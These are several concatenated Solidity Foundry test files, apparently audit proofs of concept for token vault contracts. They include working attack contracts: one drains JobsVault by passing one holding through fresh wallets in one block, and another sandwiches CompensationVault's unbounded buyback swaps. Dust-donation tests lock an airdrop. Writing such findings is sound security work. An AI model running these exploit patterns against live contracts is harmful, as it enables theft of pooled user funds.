    JobsVault internal jobs;

    function setUp() public {
        vm.chainId(4663);
        vm.warp(1_800_000_000);
        vm.roll(30_000_000);
        vm.etch(Network.IMD, address(new SybilToken()).code);
        vm.etch(Network.INTAKE, address(new SybilIntake()).code);
        imd = SybilToken(Network.IMD);
        intake = SybilIntake(Network.INTAKE);
        intake.setPrice(10 ether);
        token = new SybilToken();
        jobs = new JobsVault(address(this));
        jobs.setToken(address(token));
        // this week's 25.72% share: enough for exactly 8 jobs at 10 IMD each
        imd.mint(address(jobs), 80 ether);
    }

    /// @notice The brief: a holder of 1,000,000 tokens may open at most one job per 24 hours.
    /// One 1,000,000 bag passed through fresh addresses opens as many jobs as the vault can pay,
    /// in one block.
    function test_oneBagDrainsTheWholeJobsBudgetInOneBlock() public {
        address whale = makeAddr("whale");
        token.mint(whale, 1_000_000 ether);

        vm.startPrank(whale);
        jobs.requestJob(bytes("{\"objective\":\"mine\"}")); // the one job the brief allows today
        for (uint256 i; i < 7; ++i) {
            Sock sock = new Sock();
            token.transfer(address(sock), 1_000_000 ether);
            sock.run(jobs, token, whale); // same block, same bag, another job paid by the vault
        }
        vm.stopPrank();

        emit log_named_uint("jobs paid for one bag in one block", intake.paid() / intake.price());
        emit log_named_uint("vault IMD left", imd.balanceOf(address(jobs)));
        // Expected under the brief: one job today, 70 IMD still in the vault for other holders.
        assertLe(intake.paid(), 10 ether, "one 1,000,000 bag must buy at most one job per 24 hours");
        assertGe(imd.balanceOf(address(jobs)), 70 ether, "the shared budget must survive one holder");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SIMDVault} from "src/SIMDVault.sol";
import {CompensationVault} from "src/CompensationVault.sol";
import {Network} from "src/Network.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {BalanceDelta, BalanceDeltaLibrary} from "v4-core/src/types/BalanceDelta.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";

/// Finding: CompensationVault.buyback() swaps with no price bound and is callable by anyone, so the
/// caller can wrap each tranche in its own sandwich and take most of it. Uses the real v4 PoolManager.
contract SandwichToken is ERC20 {
    constructor() ERC20("Test", "TEST") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract SandwichFactory {
    PoolKey private key;
    address public requester;

    function configure(PoolKey memory key_, address requester_) external {
        key = key_;
        requester = requester_;
    }

    function positionOf(uint64) external view returns (PoolKey memory, int24, int24, address) {
        return (key, -600, 600, requester);
    }

    function claimFees(uint64) external pure returns (uint256, uint256) {
        return (0, 0);
    }
}

/// Seeds liquidity and swaps, settling v4 deltas.
contract V4Actor is IUnlockCallback {
    using BalanceDeltaLibrary for BalanceDelta;

    IPoolManager internal immutable manager;

    constructor(IPoolManager manager_) {
        manager = manager_;
    }

    function seed(PoolKey memory key, uint128 liquidity) external {
        manager.unlock(abi.encode(uint8(0), key, liquidity, false));
    }

    function swapExactIn(PoolKey memory key, bool zeroForOne, uint256 amountIn) public {
        manager.unlock(abi.encode(uint8(1), key, uint128(amountIn), zeroForOne));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager), "not manager");
        (uint8 kind, PoolKey memory key, uint128 amount, bool zeroForOne) =
            abi.decode(data, (uint8, PoolKey, uint128, bool));
        BalanceDelta delta;
        if (kind == 0) {
            (delta,) = manager.modifyLiquidity(
                key,
                IPoolManager.ModifyLiquidityParams({
                    tickLower: -887220,
                    tickUpper: 887220,
                    liquidityDelta: int256(uint256(amount)),
                    salt: bytes32(0)
                }),
                ""
            );
        } else {
            delta = manager.swap(
                key,
                IPoolManager.SwapParams({
                    zeroForOne: zeroForOne,
                    amountSpecified: -int256(uint256(amount)),
                    sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
                }),
                ""
            );
        }
        pay(key.currency0, delta.amount0());
        pay(key.currency1, delta.amount1());
        return "";
    }

    function pay(Currency c, int128 delta) private {
        if (delta < 0) {
            manager.sync(c);
            IERC20(Currency.unwrap(c)).transfer(address(manager), uint256(-int256(delta)));
            manager.settle();
        } else if (delta > 0) {
            manager.take(c, address(this), uint256(uint128(delta)));
        }
    }
}

contract Sandwicher is V4Actor {
    constructor(IPoolManager manager_) V4Actor(manager_) {}

    /// Front-run, trigger the vault's tranche, back-run: one transaction, no mempool needed.
    function attack(PoolKey memory key, CompensationVault vault, address imd, address tkn, uint256 frontRun)
        external
    {
        bool imdIsZero = Currency.unwrap(key.currency0) == imd;
        swapExactIn(key, imdIsZero, frontRun); // IMD -> TEST, price of TEST up
        try vault.buyback() {} catch {} // a fixed vault may revert here; the attack must then be a loss
        uint256 held = IERC20(tkn).balanceOf(address(this));
        swapExactIn(key, !imdIsZero, held); // TEST -> IMD
    }
}

contract BuybackSandwichTest is Test {
    SandwichToken internal imd;
    SandwichToken internal token;
    SandwichFactory internal factory;
    SIMDVault internal vault;
    CompensationVault internal compensation;
    PoolKey internal key;
    IPoolManager internal manager;

    function setUp() public {
        vm.chainId(4663);
        vm.warp(1_800_000_000);
        vm.roll(30_000_000);
        vm.etch(Network.IMD, address(new SandwichToken()).code);
        vm.etch(Network.FACTORY, address(new SandwichFactory()).code);
        deployCodeTo("PoolManager.sol:PoolManager", abi.encode(address(this)), Network.POOL_MANAGER);
        imd = SandwichToken(Network.IMD);
        factory = SandwichFactory(Network.FACTORY);
        manager = IPoolManager(Network.POOL_MANAGER);
        address tokenAddress = address(0x1000);
        vm.etch(tokenAddress, address(new SandwichToken()).code);
        token = SandwichToken(tokenAddress);
        key = PoolKey({
            currency0: Currency.wrap(tokenAddress < Network.IMD ? tokenAddress : Network.IMD),
            currency1: Currency.wrap(tokenAddress < Network.IMD ? Network.IMD : tokenAddress),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(address(0))
        });
        manager.initialize(key, uint160(1 << 96)); // 1 TEST = 1 IMD
        V4Actor seeder = new V4Actor(manager);
        imd.mint(address(seeder), 1e24);
        token.mint(address(seeder), 1e24);
        // Full-range liquidity with ~1,000 IMD and ~1,000 TEST of reserves: a thin launch pool.
        seeder.seed(key, 1_000 ether);
        vault = new SIMDVault();
        compensation = vault.compensationVault();
        factory.configure(key, address(vault));
        vm.prank(Network.DEV);
        vault.bindLaunch(1, tokenAddress);
        imd.mint(address(compensation), 1_000 ether); // tranche = 100 IMD
        vm.warp(compensation.buybackAvailableAt());
    }

    function testBuybackTrancheCannotBeSandwichedForProfit() public {
        Sandwicher attacker = new Sandwicher(manager);
        imd.mint(address(attacker), 500 ether);
        uint256 attackerBefore = imd.balanceOf(address(attacker));
        uint256 vaultImdBefore = imd.balanceOf(address(compensation));

        attacker.attack(key, compensation, Network.IMD, address(token), 500 ether);

        uint256 attackerAfter = imd.balanceOf(address(attacker));
        uint256 vaultSpent = vaultImdBefore - imd.balanceOf(address(compensation));
        uint256 vaultGot = token.balanceOf(address(compensation));
        emit log_named_uint("vault IMD spent", vaultSpent);
        emit log_named_uint("vault TEST received", vaultGot);
        emit log_named_int("attacker IMD profit", int256(attackerAfter) - int256(attackerBefore));
        // Intended: tranches are not sandwichable for much. At the pool's pre-call price (1:1) the
        // 100 IMD tranche is worth ~99.7 TEST; a bounded swap either fills near that or reverts.
        assertTrue(vaultSpent == 0 || vaultGot >= 90 ether, "tranche executed far below the pre-call price");
        assertLe(int256(attackerAfter) - int256(attackerBefore), int256(10 ether), "sandwicher profit exceeds 10% of the tranche");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SIMDVault} from "src/SIMDVault.sol";
import {CompensationVault} from "src/CompensationVault.sol";
import {Network} from "src/Network.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {BalanceDelta, BalanceDeltaLibrary} from "v4-core/src/types/BalanceDelta.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";

/// Finding: CompensationVault.buyback() swaps with no price bound and is callable by anyone, so the
/// caller can wrap each tranche in its own sandwich and take most of it. Uses the real v4 PoolManager.
contract SandwichToken is ERC20 {
    constructor() ERC20("Test", "TEST") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract SandwichFactory {
    PoolKey private key;
    address public requester;

    function configure(PoolKey memory key_, address requester_) external {
        key = key_;
        requester = requester_;
    }

    function positionOf(uint64) external view returns (PoolKey memory, int24, int24, address) {
        return (key, -600, 600, requester);
    }

    function claimFees(uint64) external pure returns (uint256, uint256) {
        return (0, 0);
    }
}

/// Seeds liquidity and swaps, settling v4 deltas.
contract V4Actor is IUnlockCallback {
    using BalanceDeltaLibrary for BalanceDelta;

    IPoolManager internal immutable manager;

    constructor(IPoolManager manager_) {
        manager = manager_;
    }

    function seed(PoolKey memory key, uint128 liquidity) external {
        manager.unlock(abi.encode(uint8(0), key, liquidity, false));
    }

    function swapExactIn(PoolKey memory key, bool zeroForOne, uint256 amountIn) public {
        manager.unlock(abi.encode(uint8(1), key, uint128(amountIn), zeroForOne));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager), "not manager");
        (uint8 kind, PoolKey memory key, uint128 amount, bool zeroForOne) =
            abi.decode(data, (uint8, PoolKey, uint128, bool));
        BalanceDelta delta;
        if (kind == 0) {
            (delta,) = manager.modifyLiquidity(
                key,
                IPoolManager.ModifyLiquidityParams({
                    tickLower: -600,
                    tickUpper: 600,
                    liquidityDelta: int256(uint256(amount)),
                    salt: bytes32(0)
                }),
                ""
            );
        } else {
            delta = manager.swap(
                key,
                IPoolManager.SwapParams({
                    zeroForOne: zeroForOne,
                    amountSpecified: -int256(uint256(amount)),
                    sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
                }),
                ""
            );
        }
        pay(key.currency0, delta.amount0());
        pay(key.currency1, delta.amount1());
        return "";
    }

    function pay(Currency c, int128 delta) private {
        if (delta < 0) {
            manager.sync(c);
            IERC20(Currency.unwrap(c)).transfer(address(manager), uint256(-int256(delta)));
            manager.settle();
        } else if (delta > 0) {
            manager.take(c, address(this), uint256(uint128(delta)));
        }
    }
}


contract BuybackBrickTest is Test {
    SandwichToken internal imd;
    SandwichToken internal token;
    SandwichFactory internal factory;
    SIMDVault internal vault;
    CompensationVault internal compensation;
    PoolKey internal key;
    IPoolManager internal manager;

    function _setUp(uint128 liquidity, uint256 vaultImd) internal {
        vm.chainId(4663);
        vm.warp(1_800_000_000);
        vm.roll(30_000_000);
        vm.etch(Network.IMD, address(new SandwichToken()).code);
        vm.etch(Network.FACTORY, address(new SandwichFactory()).code);
        deployCodeTo("PoolManager.sol:PoolManager", abi.encode(address(this)), Network.POOL_MANAGER);
        imd = SandwichToken(Network.IMD);
        factory = SandwichFactory(Network.FACTORY);
        manager = IPoolManager(Network.POOL_MANAGER);
        address tokenAddress = address(0x1000);
        vm.etch(tokenAddress, address(new SandwichToken()).code);
        token = SandwichToken(tokenAddress);
        key = PoolKey({
            currency0: Currency.wrap(tokenAddress < Network.IMD ? tokenAddress : Network.IMD),
            currency1: Currency.wrap(tokenAddress < Network.IMD ? Network.IMD : tokenAddress),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(address(0))
        });
        manager.initialize(key, uint160(1 << 96));
        V4Actor seeder = new V4Actor(manager);
        imd.mint(address(seeder), 1e30);
        token.mint(address(seeder), 1e30);
        seeder.seed(key, liquidity); // launch position over ticks [-600, 600]
        vault = new SIMDVault();
        compensation = vault.compensationVault();
        factory.configure(key, address(vault));
        vm.prank(Network.DEV);
        vault.bindLaunch(1, tokenAddress);
        token.mint(address(compensation), 1000 ether); // the 10% launch allocation for the 62 wallets
        if (vaultImd != 0) imd.mint(address(compensation), vaultImd);
        vm.warp(compensation.buybackAvailableAt());
    }

    function _runBuybackFor30Days() internal {
        for (uint256 i; i < 12; ++i) {
            try compensation.buyback() {} catch {}
            vm.warp(block.timestamp + 10 minutes);
        }
        vm.warp(block.timestamp + 30 days);
        try compensation.buyback() {} catch {}
    }

    /// No anti-sniper fee (nobody sniped); anyone donates 10 wei IMD before the first buyback.
    function testDustDonationMustNotLockTheAirdropForever() public {
        _setUp(1e26, 10);
        _runBuybackFor30Days();
        assertTrue(compensation.buybackComplete(), "10 wei donation: buyback never completes, airdrop locked");
    }

    /// The anti-sniper fee is larger than the launch range can absorb in one tranche.
    function testPartialFillMustNotLockTheAirdropForever() public {
        _setUp(1e20, 1000 ether);
        _runBuybackFor30Days();
        assertTrue(compensation.buybackComplete(), "partial fill: buyback never completes, airdrop locked");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {JobsVault} from "src/JobsVault.sol";
import {Network} from "src/Network.sol";
import {IIntake} from "src/interfaces/IIntake.sol";

/// Finding: JobsVault.requestJob checks a spot balance and a per-address cooldown only. One
/// 1,000,000-token holding, moved between fresh wallets inside a single transaction, opens an
/// unbounded number of jobs and drains the JobsVault IMD in one block.
contract ProofToken is ERC20 {
    constructor() ERC20("Test", "TEST") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract ProofIntake is IIntake {
    uint256 public nonce;
    uint256 public constant PRICE = 1 ether;

    function priceOf(bytes32, address) external pure returns (uint256) {
        return PRICE;
    }

    function request(bytes32, bytes calldata, Callback calldata, address asset, uint256 amount)
        external
        payable
        returns (bytes32 id)
    {
        require(amount == PRICE, "wrong amount");
        require(IERC20(asset).transferFrom(msg.sender, address(this), amount), "pull failed");
        id = keccak256(abi.encode(msg.sender, ++nonce));
    }
}

/// One fresh wallet: opens a job with the tokens it holds, then passes the same tokens on.
contract Hop {
    function run(JobsVault jobs, IERC20 tkn, address next, uint256 amount) external {
        try jobs.requestJob("job body") {} catch {}
        tkn.transfer(next, amount);
    }
}

contract Drainer {
    function drain(JobsVault jobs, IERC20 tkn, uint256 hops) external {
        uint256 amount = tkn.balanceOf(address(this));
        Hop current = new Hop();
        tkn.transfer(address(current), amount);
        for (uint256 i; i < hops; ++i) {
            Hop next = new Hop();
            current.run(jobs, tkn, address(next), amount);
            current = next;
        }
    }
}

contract JobsVaultHoldingHopTest is Test {
    JobsVault internal jobs;
    ProofToken internal token;
    ProofToken internal imd;
    Drainer internal drainer;

    function setUp() public {
        vm.chainId(4663);
        vm.warp(1_800_000_000);
        vm.roll(30_000_000);
        vm.etch(Network.IMD, address(new ProofToken()).code);
        vm.etch(Network.INTAKE, address(new ProofIntake()).code);
        imd = ProofToken(Network.IMD);
        token = new ProofToken();
        jobs = new JobsVault(address(this));
        jobs.setToken(address(token));
        drainer = new Drainer();
        token.mint(address(drainer), 1_000_000 ether); // exactly the minimum holding, once
        imd.mint(address(jobs), 20 ether); // 20 jobs' worth of IMD
    }

    function testOneHoldingCannotOpenMoreThanOneJobPerDay() public {
        uint256 before = imd.balanceOf(address(jobs));
        // Twenty wallets share the same 1,000,000 tokens in one transaction.
        drainer.drain(jobs, IERC20(address(token)), 20);
        uint256 spent = before - imd.balanceOf(address(jobs));
        // Intended: one holding of the minimum opens at most one job per 24 hours.
        assertLe(spent, 1 ether, "a single 1,000,000 holding paid for more than one job in one block");
    }
}